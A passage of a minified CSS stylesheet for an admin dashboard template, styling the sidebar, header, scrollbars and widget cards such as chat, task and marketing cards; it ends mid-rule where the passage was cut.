.dash-sidebar .navbar-content .card .img-sidebar-card { margin: 20px 0 -65px; width: 100%; } .dash-sidebar .dash-submenu .dash-link { font-weight: 500; padding: 10px 30px 10px 65px; } .dash-sidebar .dash-submenu .dash-submenu .dash-link { padding: 10px 30px 10px 85px; } .dash-sidebar .dash-submenu .dash-submenu .dash-submenu .dash-link { padding: 10px 30px 10px 105px; } .dash-sidebar .dash-item.disabled a { cursor: not-allowed; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .dash-sidebar .dash-item.active > .dash-link, .dash-sidebar .dash-item:focus > .dash-link, .dash-sidebar .dash-item:hover > .dash-link { color: #fff; } .dash-sidebar .dash-item.active > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar .dash-item:focus > .dash-link .dash-micon i.material-icons-two-tone, .dash-sidebar .dash-item:hover > .dash-link .dash-micon i.material-icons-two-tone { background-color: #fff; } .dash-sidebar .dash-item.active > .dash-link .dash-micon i, .dash-sidebar .dash-item.active > .dash-link .dash-micon svg, .dash-sidebar .dash-item:focus > .dash-link .dash-micon i, .dash-sidebar .dash-item:focus > .dash-link .dash-micon svg, .dash-sidebar .dash-item:hover > .dash-link .dash-micon i, .dash-sidebar .dash-item:hover > .dash-link .dash-micon svg { color: #fff; } .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link { font-weight: 700; color: #51459d; } .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item.active > .dash-link .dash-micon svg, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item:focus > .dash-link .dash-micon svg, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link .dash-micon i, .dash-sidebar .dash-item > .dash-submenu .dash-item:hover > .dash-link .dash-micon svg { color: #51459d; } .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: #161c25; } .dash-sidebar .dash-hasmenu.dash-trigger > .dash-submenu { display: block; } .dash-sidebar .dash-hasmenu.dash-trigger > .dash-link > .dash-arrow { transform: rotate(90deg); } body:not(.minimenu) .dash-sidebar .dash-link { margin: 7px 0; } body:not(.minimenu) .dash-sidebar .dash-submenu { position: relative; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item { position: relative; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:before { content: ""; position: absolute; left: 40px; top: 16px; width: 8px; height: 8px; border: 2px solid #ced4dc; border-right-color: #51459d; border-radius: 50%; z-index: 1; transform: rotate(45deg); transition: 0.35s cubic-bezier(0.54, 1.6, 0.5, 1); color: #778290; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item.active:before { transform: rotate(230deg); } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-item:hover:before { transform: rotate(230deg); } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu > .dash-item:before { left: 60px; } body:not(.minimenu) .dash-sidebar .dash-submenu .dash-submenu .dash-submenu > .dash-item:before { left: 80px; } .dash-menu-overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 1; background: rgba(0, 0, 0, 0.2); } .minimenu .dash-sidebar { width: 70px; } .minimenu .dash-sidebar .dash-hasmenu.dash-trigger:not(:hover) > .dash-submenu, .minimenu .dash-sidebar .dash-hasmenu:not(:hover) > .dash-submenu { display: none; } .minimenu .dash-sidebar .m-header { padding: 15px 17px; } .minimenu .dash-sidebar .m-header .logo-sm { display: block; } .minimenu .dash-sidebar .m-header .logo-lg { display: none; } .minimenu .dash-sidebar .dash-badge, .minimenu .dash-sidebar .dash-caption, .minimenu .dash-sidebar .dash-mtext, .minimenu .dash-sidebar .dash-navbar > li > a > .dash-arrow { display: none; } .minimenu .dash-sidebar .navbar-content.ps { overflow: visible !important; } .minimenu .dash-sidebar .navbar-content.ps > .ps__rail-X, .minimenu .dash-sidebar .navbar-content.ps > .ps__rail-y { display: none; } .minimenu .dash-sidebar .dash-link { padding: 20px 25px; } .minimenu .dash-sidebar .dash-submenu { background: #1c232f; position: absolute; left: 100%; padding: 8px 0; } .minimenu .dash-sidebar .dash-submenu .dash-link { padding: 8px 30px; } .minimenu .dash-sidebar .dash-item { position: relative; } .minimenu .dash-sidebar .dash-item:hover > .dash-link { width: calc(200px + 70px); background: #161c25; color: #51459d; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-micon { margin-right: 40px; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-micon i { color: #fff; } .minimenu .dash-sidebar .dash-item:hover > .dash-link .dash-mtext { display: inline-block; } .minimenu .dash-sidebar .dash-item:hover > .dash-submenu { display: block; width: 200px; } .minimenu .dash-sidebar .dash-item .dash-item:hover > .dash-link { width: 200px; background: #1c232f; } .minimenu .dash-sidebar .dash-item .dash-item:hover > .dash-submenu { top: 0; } @media (min-width: 1025px) { .navbar-overlay .dash-sidebar.dash-over-menu-active .navbar-wrapper { position: relative; z-index: 5; } .navbar-overlay .dash-sidebar:not(.dash-over-menu-active) { left: -255px; box-shadow: none; } } @media (max-width: 1024px) { .dash-sidebar { left: -255px; box-shadow: none; transition: all 0.15s ease-in-out; } .dash-sidebar.mob-sidebar-active { left: 0; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); } .dash-sidebar.mob-sidebar-active .navbar-wrapper { position: relative; z-index: 5; background: inherit; } .minimenu .dash-container { margin-left: 0; } } .dash-header { background: #fff; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); color: #525b69; min-height: 70px; position: absolute; left: 255px; right: 0; z-index: 1025; } @media (min-width: 1024px) { .dash-header.transprent-bg { background: transparent; box-shadow: none; } .dash-header:not(.transprent-bg) { top: 20px; left: calc(255px + 40px); right: 30px; border-radius: 20px; box-shadow: -2.61824px 26px 49px rgba(182, 186, 203, 0.3); } .dash-header:not(.transprent-bg) .header-wrapper { padding: 0 12px; } .dash-header:not(.transprent-bg):not(.dash-mob-header) ~ .dash-container { margin-left: calc(255px + 15px); } .dash-header:not(.transprent-bg):not(.dash-mob-header) ~ .dash-container .dash-content { padding-top: 50px; } } .dash-header .burger-menu { position: relative; width: 15px; height: 15px; } .dash-header .burger-menu > span { height: 2px; border-radius: 2px; width: 10px; position: absolute; right: 0; top: calc(50% - 1px); background: #293240; } .dash-header .burger-menu > span:first-child { width: 15px; top: 0; } .dash-header .burger-menu > span:last-child { width: 5px; top: auto; bottom: 0; } .dash-header .header-search { box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); border-radius: 8px; padding: 4px 8px; background: #ffffff; } .dash-header .header-search .btn-head-search { display: inline-flex; align-items: center; justify-content: center; box-shadow: -3px 4px 23px rgba(0, 0, 0, 0.08); border-radius: 8px; width: 30px; height: 30px; padding: 15px 16px; } .dash-header .header-search .btn-head-search i { font-size: 22px; } .dash-header ul { margin-bottom: 0; display: inline-flex; } .dash-header .header-wrapper { display: flex; padding: 0 30px; } .dash-header .dash-h-item { min-height: 70px; display: flex; align-items: center; position: relative; } .dash-header .dash-head-link { color: #525b69; display: inline-flex; align-items: center; padding: 0.6rem 0.7rem; margin: 0 7.5px; border-radius: 4px; position: relative; font-weight: 500; border-radius: 12px; border: 1px solid rgba(206, 206, 206, 0.2); } @media (min-width: 1024px) { .dash-header .dash-head-link { background: #fff; } } .dash-header .dash-head-link > i { font-size: 20px; color: #51459d; } .dash-header .dash-head-link > i.material-icons-two-tone { font-size: 24px; background-color: #525b69; } .dash-header .dash-head-link > svg { width: 20px; height: 20px; } .dash-header .dash-head-link.active, .dash-header .dash-head-link:active, .dash-header .dash-head-link:focus, .dash-header .dash-head-link:hover { text-decoration: none; color: #51459d; background: rgba(108, 117, 125, 0.05); } .dash-header .dash-head-link.active .hamburger .hamburger-inner, .dash-header .dash-head-link:active .hamburger .hamburger-inner, .dash-header .dash-head-link:focus .hamburger .hamburger-inner, .dash-header .dash-head-link:hover .hamburger .hamburger-inner { background-color: #51459d; } .dash-header .dash-head-link.active .hamburger .hamburger-inner::after, .dash-header .dash-head-link.active .hamburger .hamburger-inner::before, .dash-header .dash-head-link:active .hamburger .hamburger-inner::after, .dash-header .dash-head-link:active .hamburger .hamburger-inner::before, .dash-header .dash-head-link:focus .hamburger .hamburger-inner::after, .dash-header .dash-head-link:focus .hamburger .hamburger-inner::before, .dash-header .dash-head-link:hover .hamburger .hamburger-inner::after, .dash-header .dash-head-link:hover .hamburger .hamburger-inner::before { background-color: #51459d; } .dash-header .dash-head-link.active i.material-icons-two-tone, .dash-header .dash-head-link:active i.material-icons-two-tone, .dash-header .dash-head-link:focus i.material-icons-two-tone, .dash-header .dash-head-link:hover i.material-icons-two-tone { background-color: #51459d; } .dash-header .dash-head-link .dash-h-badge { position: absolute; top: 3px; right: 10px; border-radius: 50%; font-size: 9px; } .dash-header .dash-head-link .dash-h-badge.dots { width: 8px; height: 8px; top: 10px; right: 12px; padding: 0; border: 2px solid #fff; } .dash-header .dash-head-link .user-desc, .dash-header .dash-head-link .user-name { display: block; line-height: 1; } .dash-header .dash-head-link .user-name { margin-bottom: 5px; font-size: 15px; font-weight: 600; } .dash-header .dash-head-link .user-desc { font-size: 12px; font-weight: 400; color: rgba(82, 91, 105, 0.7); } .dash-header .dash-head-link .drp-arrow { color: #525b69; font-size: 14px; margin-left: 5px; opacity: 0.8; } .dash-header .dash-head-link .theme-avtar { border-radius: 12px; font-size: 16px; width: 34px; height: 34px; background: #dcdaeb; color: #51459d; } .dash-header .drp-language i { color: #CECECE; } .dash-header .drp-language .drp-text { color: #51459d; margin-left: 8px; } .dash-header .drp-company .dash-head-link { padding: 5px; } .dash-header .drp-notification .theme-avtar { border-radius: 12px; } .dash-header .drp-notification .dropdown-menu { min-width: 450px; } .dash-header .drp-notification .noti-header, .dash-header .drp-notification .noti-footer, .dash-header .drp-notification .noti-body { padding: 10px 20px; } .dash-header .drp-notification .noti-header { display: flex; align-items: center; justify-content: space-between; } .dash-header .drp-notification .noti-body { position: relative; max-height: calc(100vh - 300px); } .dash-header .dash-h-dropdown { transform: none !important; top: 100% !important; } .dash-header .dash-h-dropdown .fa-circle { font-size: 5px; vertical-align: middle; } .dash-header .dash-h-dropdown.dropdown-menu-end { right: 0 !important; left: auto !important; } .dash-header .dash-level-menu { position: relative; } .dash-header .dash-level-menu:hover > .dropdown-menu { display: block; left: 100%; top: -18px !important; } .dash-header .dash-mega-menu { position: static; } .dash-header .dash-mega-menu .dash-mega-dmenu { transform: none !important; left: 0 !important; right: 0 !important; top: 100% !important; padding: 0; } .dash-header .dash-mega-menu .dash-mega-dmenu .row.g-0 .col { padding: 15px 0; border-right: 1px dashed #f1f1f1; } .dash-header .dash-mega-menu .dash-mega-dmenu .mega-title { margin: 10px 25px; position: relative; } .dash-header .dash-mega-menu .dash-mega-dmenu .dash-mega-list { display: block; list-style: none; padding-left: 0; } .dash-header .drp-search { min-width: 20rem; } .dash-header #vertical-nav-toggle { margin-left: -15px; } .dash-header .user-avtar { width: 30px; margin-right: 10px; border-radius: 50%; } .minimenu .dash-header { left: 70px; } .dash-mob-header { display: none; background: #161c25; height: 70px; align-items: center; justify-content: space-between; position: fixed; z-index: 1026; left: 0; right: 0; padding: 0 10px 0 30px; } .dash-mob-header .hamburger-inner, .dash-mob-header .hamburger-inner::after, .dash-mob-header .hamburger-inner::before { background: #fff; } .dash-mob-header .dash-head-link, .dash-mob-header a { color: #fff; } .notification-modal.modal.fade .modal-dialog { max-width: 310px; transform: translate(100%, 0); } .notification-modal.modal.show .modal-dialog { transform: none; } .notification-modal { padding-right: 0 !important; } .notification-modal .modal-dialog { margin: 0 0 0 auto; } .notification-modal .modal-content { min-height: 100vh; border: none; border-radius: 0; box-shadow: -1px 0 9px -3px rgba(0, 0, 0, 0.6); } @media (min-width: 1024px) { .dash-header .dash-h-item.mob-hamburger { display: none; } } @media (max-width: 767px) { .dash-header .dash-h-item .hide-mob { display: none; } } @media (max-width: 1024px) { .mob-hamburger { display: none; } .dash-mob-header { display: flex; } .dash-header { top: 0; left: 0; transition: all 0.15s ease-in-out; } .dash-header .header-wrapper { padding: 0 15px; } .dash-header .user-avtar { margin-right: 0; } .dash-header .user-avtar ~ span { display: none; } .dash-header .dash-head-link .user-desc, .dash-header .dash-head-link .user-name { display: none; } .dash-header .dash-head-link#mobile-collapse { position: relative; } .dash-header .pcm-logo { margin-left: 30px; } .dash-header .pcm-logo img { max-width: 160px; } .dash-header.mob-header-active { top: 70px; } .dash-header.mob-header-active .header-wrapper { background: #fff; position: relative; z-index: 5; } .dash-header .dash-md-overlay { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 1; background: rgba(0, 0, 0, 0.2); } .dash-header .dash-level-menu .dropdown-menu { left: 0; display: block; padding-left: 30px; } .dash-header .dash-mega-menu .dash-mega-dmenu .row.g-0 > .col { flex: 100%; } .minimenu .dash-header { left: 0; } } #dash-noti-home > .media:hover { margin: -15px; padding: 15px; background: rgba(81, 69, 157, 0.1); } @media (max-width: 575.98px) { .dash-header .dash-head-link { padding: 0.65rem; margin: 0 5px; } .dash-header .dash-h-item { position: static; } .dash-header .drp-notification .dash-h-dropdown { min-width: 100%; left: 0 !important; right: 0 !important; } } .dash-container { position: relative; top: 70px; margin-left: 255px; min-height: calc(100vh - 70px); } .dash-container .dash-content { padding-left: 30px; padding-right: 30px; padding-top: 30px; } .dash-container .page-header + .row { padding-top: 25px; } .dash-container .page-header + .dash-content { padding-top: 30px; } .minimenu .dash-container { margin-left: 70px; } .minimenu .page-header { left: 70px; } .page-header { display: flex; align-items: center; } .page-header .page-block { width: 100%; } .page-header .page-header-title { display: block; } .page-header h4, .page-header .h4 { margin-bottom: 0; margin-right: 8px; padding-right: 8px; font-weight: 500; } .page-header .breadcrumb { padding: 0; display: inline-flex; margin-bottom: 0; background: transparent; font-size: 13px; } .page-header .breadcrumb a { color: #293240; } .page-header .breadcrumb .breadcrumb-item a:hover { color: #51459d; } .page-header .breadcrumb .breadcrumb-item + .breadcrumb-item::before { position: relative; top: 2px; } .page-header .breadcrumb .breadcrumb-item:last-child { opacity: 0.75; } .page-header .breadcrumb svg { width: 14px; height: 14px; vertical-align: baseline; } .upgrade-card .card-body { padding-bottom: 100px; z-index: 1; position: relative; } .upgrade-card > .container { z-index: 5; position: relative; margin-top: -60px; } .upgrade-card .up-price-table td { border-color: #f8f9fd; } .upgrade-card .up-price-table th { border: none; } .upgrade-card .up-price-table th + th { border-radius: 5px 5px 0 0; padding: 20px 0; } .upgrade-card .up-price-table tbody tr:first-child td { border-top: none; } .upgrade-card .up-price-table td, .upgrade-card .up-price-table th { text-align: right; } .upgrade-card .up-price-table td + td, .upgrade-card .up-price-table td + th, .upgrade-card .up-price-table th + td, .upgrade-card .up-price-table th + th { text-align: center; } .upgrade-card .up-price-table td + td, .upgrade-card .up-price-table th + td { border-left: 1px solid #f8f9fd; } .dash-footer { position: relative; margin-left: 255px; width: calc(100% - 255px); padding: 10px 30px; top: 70px; margin-bottom: 70px; right: 0; bottom: 0; } .dash-footer .footer-wrapper { display: flex; flex-wrap: wrap; justify-content: space-between; text-align: center; } @media (max-width: 1024px) { .dash-footer { width: 100%; margin-left: 0; } } @media (max-width: 768px) { .dash-footer { text-align: center; } .dash-footer .footer-wrapper { display: block; } } .hamburger { display: inline-block; cursor: pointer; transition: filter 0.15s linear; width: 20px; height: 20px; } .hamburger.is-active .hamburger-inner { background-color: #000; } .hamburger.is-active .hamburger-inner::after, .hamburger.is-active .hamburger-inner::before { background-color: #000; } .hamburger-inner { display: block; top: 50%; margin-top: -2px; width: 18px; height: 2px; background-color: #525b69; border-radius: 4px; position: absolute; transition: transform 0.15s ease; } .hamburger-inner::after, .hamburger-inner::before { width: 18px; height: 2px; background-color: #525b69; border-radius: 4px; position: absolute; transition: transform 0.15s ease; } .hamburger-inner::after, .hamburger-inner::before { content: ""; display: block; } .hamburger-inner::before { top: -6px; } .hamburger-inner::after { bottom: -6px; } .hamburger--arrowturn.is-active .hamburger-inner { transform: rotate(-180deg); } .hamburger--arrowturn.is-active .hamburger-inner::before { transform: translate3d(4px, 2px, 0) rotate(45deg) scale(0.7, 1); } .hamburger--arrowturn.is-active .hamburger-inner::after { transform: translate3d(4px, -2px, 0) rotate(-45deg) scale(0.7, 1); } @media (max-width: 1024px) { .dash-container { margin-left: 0; } .dash-container .page-header + .row, .dash-container .page-header + .dash-content, .dash-container .dash-content { padding-top: 30px; } .page-header { position: relative; left: 0; top: 0; } .minimenu .page-header { left: 0; } .minimenu .dash-container { margin-left: 0; } } @media (max-width: 575.98px) { .dash-container .dash-content { padding: 20px; } .dash-container .container { padding-left: 0; padding-right: 0; } .page-header { padding: 13px 20px; } .page-header h5, .page-header .h5 { padding-bottom: 5px; margin-bottom: 0; border-right: none; font-size: 14px; } .page-header .breadcrumb { display: flex; margin-bottom: 0; font-size: 11px; } .page-header .text-md-right { margin-top: 5px; } } [data-simplebar] { position: relative; flex-direction: column; flex-wrap: wrap; justify-content: flex-start; align-content: flex-start; align-items: flex-start; } .simplebar-wrapper { overflow: hidden; width: inherit; height: inherit; max-width: inherit; max-height: inherit; } .simplebar-mask { direction: inherit; position: absolute; overflow: hidden; padding: 0; margin: 0; left: 0; top: 0; bottom: 0; right: 0; width: auto !important; height: auto !important; z-index: 0; } .simplebar-offset { direction: inherit !important; box-sizing: inherit !important; resize: none !important; position: absolute; top: 0; left: 0; bottom: 0; right: 0; padding: 0; margin: 0; -webkit-overflow-scrolling: touch; } .simplebar-content-wrapper { direction: inherit; box-sizing: border-box !important; position: relative; display: block; height: 100%; /* Required for horizontal native scrollbar to not appear if parent is taller than natural height */ width: auto; max-width: 100%; /* Not required for horizontal scroll to trigger */ max-height: 100%; /* Needed for vertical scroll to trigger */ scrollbar-width: none; -ms-overflow-style: none; } .simplebar-content-wrapper::-webkit-scrollbar, .simplebar-hide-scrollbar::-webkit-scrollbar { width: 0; height: 0; } .simplebar-content:before, .simplebar-content:after { content: ' '; display: table; } .simplebar-placeholder { max-height: 100%; max-width: 100%; width: 100%; pointer-events: none; } .simplebar-height-auto-observer-wrapper { box-sizing: inherit !important; height: 100%; width: 100%; max-width: 1px; position: relative; float: left; max-height: 1px; overflow: hidden; z-index: -1; padding: 0; margin: 0; pointer-events: none; flex-grow: inherit; flex-shrink: 0; flex-basis: 0; } .simplebar-height-auto-observer { box-sizing: inherit; display: block; opacity: 0; position: absolute; top: 0; left: 0; height: 1000%; width: 1000%; min-height: 1px; min-width: 1px; overflow: hidden; pointer-events: none; z-index: -1; } .simplebar-track { z-index: 1; position: absolute; right: 0; bottom: 0; pointer-events: none; overflow: hidden; } [data-simplebar].simplebar-dragging .simplebar-content { pointer-events: none; -moz-user-select: none; user-select: none; -webkit-user-select: none; } [data-simplebar].simplebar-dragging .simplebar-track { pointer-events: all; } .simplebar-scrollbar { position: absolute; left: 0; right: 0; min-height: 10px; } .simplebar-scrollbar:before { position: absolute; content: ''; background: #95a4e1; border-radius: 7px; left: 2px; right: 2px; opacity: 0; transition: opacity 0.2s linear; } .simplebar-scrollbar.simplebar-visible:before { /* When hovered, remove all transitions from drag handle */ opacity: 0.5; transition: opacity 0s linear; } .simplebar-track.simplebar-vertical { top: 0; width: 11px; } .simplebar-track.simplebar-vertical .simplebar-scrollbar:before { top: 2px; bottom: 2px; } .simplebar-track.simplebar-horizontal { left: 0; height: 11px; } .simplebar-track.simplebar-horizontal .simplebar-scrollbar:before { height: 100%; left: 2px; right: 2px; } .simplebar-track.simplebar-horizontal .simplebar-scrollbar { right: auto; left: 0; top: 2px; height: 7px; min-height: 0; min-width: 10px; width: auto; } /* Rtl support */ [data-simplebar-direction='rtl'] .simplebar-track.simplebar-vertical { right: auto; left: 0; } .hs-dummy-scrollbar-size { direction: rtl; position: fixed; opacity: 0; visibility: hidden; height: 500px; width: 500px; overflow-y: hidden; overflow-x: scroll; } .simplebar-hide-scrollbar { position: fixed; left: 0; visibility: hidden; overflow-y: scroll; scrollbar-width: none; -ms-overflow-style: none; } .navbar-content { position: relative; } .ps__rail-y { z-index: 5; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background: transparent; } .ps__thumb-y { background: #95a4e1; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background: #a9b5e6; } .mrr-card { position: relative; } .mrr-card .bottom-chart { bottom: 0; } .widget-last-task .img-radius { margin-right: 10px; margin-bottom: 5px; } .widget-last-task span.float-right { font-size: 11px; } .client-map img { vertical-align: top; width: 90px; } .client-map .client-detail { margin-bottom: 20px; } .client-map .client-detail img { border-radius: 5px; } .client-map .client-profile { float: left; } .client-map .client-contain { display: inline-block; margin-left: 20px; } .client-map .client-contain h5, .client-map .client-contain .h5 { display: block; text-transform: capitalize; font-weight: 600; font-size: 18px; padding-bottom: 10px; } .client-map .client-card-box { border: 1px solid #f1f1f1; border-radius: 5px; } .client-map .client-card-box .client-border { border-right: 1px solid #f1f1f1; } .client-map .client-card-box .client-border-card { border-top: 1px solid #f1f1f1; } .marketing-card .table thead th { border-bottom: none; border-top: none; } .marketing-card .table tbody tr:first-child td { border-top: none; } .marketing-card .table tbody .marketing-header { background-color: rgba(248, 249, 253, 0.5); } .marketing-card .table tbody td { vertical-align: middle; } .marketing-card .table tbody td p { margin-bottom: 0; display: inline-block; } .marketing-card .table tbody td .table-contain { display: inline-block; margin-left: 10px; } .marketing-card .table tbody td span { font-weight: 600; } .marketing-card .table tbody td h6, .marketing-card .table tbody td .h6 { margin-bottom: 0; font-size: 0.9rem; font-weight: 600; line-height: 1.5; } .marketing-card .table tbody td .dropdown-toggle { background-color: transparent; border: none; box-shadow: none; padding: 0; } .marketing-card .table tbody td .dropdown-toggle i { margin-right: 0; } .marketing-card .table tbody td .dropdown-toggle:after { display: none; } .marketing-card .table tbody td .social-icon { width: 40px; height: 40px; border-radius: 50%; color: #fff; font-size: 20px; top: -10px; position: relative; display: inline-flex; align-items: center; justify-content: center; } .marketing-card .table tbody td .btn-action { position: relative; padding: 6px 18px 6px 32px; } .marketing-card .table tbody td .btn-action:after { content: ""; position: absolute; border-radius: 50%; width: 10px; height: 10px; left: 12px; top: 10px; } .marketing-card .table tbody td .btn-action.btn-bg-primary:after { background-color: #51459d; } .marketing-card .table tbody td .btn-action.btn-bg-danger:after { background-color: #ff3a6e; } .marketing-card .table tbody td .btn-action.btn-bg-success:after { background-color: #6fd943; } .marketing-card .table tbody td .btn-action.btn-bg-warning:after { background-color: #ffa21d; } .marketing-card .table tbody td .btn-action.btn-bg-info:after { background-color: #3ec9d6; } .marketing-card .table tbody td .btn-action.btn-bg-info:after { background-color: #3ec9d6; } .marketing-card .marketing-card-footer .tab-cont > p { display: inline-block; vertical-align: middle; margin-left: 10px; font-weight: 600; margin-top: -8px; } .marketing-card .marketing-card-footer .tab-cont > p i { font-size: 20px; margin: 0 5px; } .testimonial-card .progress { height: 5px; } .testimonial-card .review-block .cust-img { width: 40px; height: 40px; } .testimonial-card .review-block > div { padding-top: 15px; padding-bottom: 9px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .testimonial-card .review-block > div:hover { background-color: rgba(81, 69, 157, 0.1); } .new-cust-card img { width: 40px; } .new-cust-card h6, .new-cust-card .h6 { margin-bottom: 0; } .new-cust-card .align-middle { position: relative; } .new-cust-card .align-middle .status { position: absolute; right: 0; top: 19px; font-size: 13px; } .new-cust-card .align-middle .status.active { width: 10px; height: 10px; border-radius: 50%; background: #6fd943; } .review-card .review-block .cust-img { width: 50px; height: 50px; } .review-card .review-block > div { padding-top: 25px; padding-bottom: 25px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .review-card .review-block > div:hover { background-color: rgba(81, 69, 157, 0.1); } .latest-activity-card .card-body { padding-top: 0; } .latest-activity-card .card-body .latest-update-box { position: relative; } .latest-activity-card .card-body .latest-update-box .update-meta { z-index: 2; min-width: 170px; } .latest-activity-card .card-body .latest-update-box .update-meta .update-icon { width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 12px 13px; font-size: 16px; color: #fff; margin-left: 10px; } @media only screen and (max-width: 575px) { .latest-activity-card .card-body .latest-update-box .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } .task-card .task-list { position: relative; } .task-card .task-list:after { content: ""; position: absolute; background: #f1f1f1; height: 100%; width: 2px; top: 0; left: 10px; z-index: 1; } .task-card .task-list:before { content: ""; position: absolute; background: #f1f1f1; height: 15px; width: 15px; bottom: -14px; left: 3px; z-index: 2; border-radius: 50%; } .task-card .task-list li { margin-bottom: 30px; padding-left: 30px; position: relative; } .task-card .task-list li .task-icon { position: absolute; left: 3px; top: 1px; border-radius: 50%; padding: 2px; color: #fff; min-width: 15px; min-height: 15px; z-index: 2; } .latest-posts-card a { transition: all 0.3s ease-in-out; } .latest-posts-card a:hover h6, .latest-posts-card a:hover .h6 { color: #51459d; } .latest-posts-card a ~ p { font-size: 11px; } .latest-posts-card .latest-posts-img { width: 90px; height: 80px; } .latest-update-card .card-body { padding-top: 0; } .latest-update-card .card-body .latest-update-box { position: relative; } .latest-update-card .card-body .latest-update-box:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 82px; z-index: 1; } .latest-update-card .card-body .latest-update-box .update-meta { z-index: 2; } .latest-update-card .card-body .latest-update-box .update-meta .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; } .latest-update-card .card-body .latest-update-box .update-meta .update-icon.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; background: #fff; } .latest-update-card .card-body .latest-update-box .update-meta i.update-icon { margin-left: 4px; margin-right: 4px; } .latest-update-card .card-body .latest-update-box .update-meta img.update-icon { padding: 0; width: 40px; height: 40px; } .chat-card .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; } .chat-card .msg img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } .chat-card .received-chat .msg { background: #aba4d7; border-radius: 0 5px 5px 5px; } .chat-card .received-chat .msg:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: #aba4d7; } .chat-card .send-chat { text-align: right; } .chat-card .send-chat .msg { background: #51459d; color: #fff; border-radius: 5px 0 5px 5px; } .chat-card .send-chat .msg:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: #51459d; } .user-Messages-card .text-time { font-size: 11px; } .user-Messages-card .u-img { position: relative; } .user-Messages-card .u-img .profile-img { width: 40px; height: 40px; } .user-Messages-card .u-img .tot-msg { width: 15px; height: 15px; position: absolute; bottom: 0; right: -5px; background-color: #ff3a6e; color: #fff; font-size: 10px; border-radius: 50%; text-align: center; } .user-activity-card .u-img { position: relative; } .user-activity-card .u-img .cover-img { width: 40px; height: 40px; } .user-activity-card .u-img .profile-img { width: 20px; height: 20px; position: absolute; bottom: 0; right: -5px; } .product-progress-card .progress { height: 6px; } .product-progress-card .pp-cont { padding-left: 15px; padding-right: 15px; position: relative; } .product-progress-card .pp-cont:after { content: ""; background: #d2d2d2; width: 1px; height: 100%; position: absolute; top: 0; left: -15px; } @media only screen and (max-width: 991px) { .product-progress-card .pp-cont { padding: 15px 0; } .product-progress-card .pp-cont:after { display: none; } } .product-progress-card .pp-main > div:first-child > .pp-cont:after { display: none; } .social-res-card .progress { height: 6px; border-radius: 4px; } .social-res-card .progress .progress-bar { border-radius: 4px; } .analytic-card .analytic-icon { width: 50px; height: 50px; text-align: center; padding: 17px 0; border-radius: 50%; background-color: #fff; } .ticket-card .lbl-card { border-radius: 50px; padding: 5px 15px; display: inline-block; } .proj-t-card { position: relative; overflow: hidden; } .proj-t-card .pt-badge { margin-bottom: 0; display: inline-block; padding: 60px 50px 20px 20px; border-radius: 50%; position: absolute; top: -45px; right: -35px; transition: all 0.3s ease-in-out; } .proj-progress-card .progress { height: 6px; overflow: visible; margin-bottom: 10px; } @media only screen and (max-width: 992px) { .proj-progress-card h6, .proj-progress-card .h6 { margin-top: 15px; } .proj-progress-card .progress { margin-bottom: 20px; } } .prod-p-card i { width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 11px 0; font-size: 29px; } .comp-card i { width: 50px; height: 50px; border-radius: 50%; text-align: center; padding: 17px 0; font-size: 18px; } .social-widget-card { border-top: none; color: #fff; } .social-widget-card:hover i { opacity: 1; transform: scale(1.1); } .social-widget-card i { position: absolute; right: 10px; bottom: 10px; font-size: 48px; opacity: 0.4; transition: all ease-in 0.3s; } .widget-primary-card.flat-card, .flat-card.widget-purple-card { border-top: none; background-color: #51459d; color: #fff; } .widget-primary-card.flat-card h4, .flat-card.widget-purple-card h4, .widget-primary-card.flat-card .h4, .flat-card.widget-purple-card .h4, .widget-primary-card.flat-card h6, .flat-card.widget-purple-card h6, .widget-primary-card.flat-card .h6, .flat-card.widget-purple-card .h6 { color: #fff; } .widget-primary-card.flat-card .row-table:first-child, .flat-card.widget-purple-card .row-table:first-child { border-bottom: none; } .widget-primary-card.flat-card .row-table > [class*="col-"], 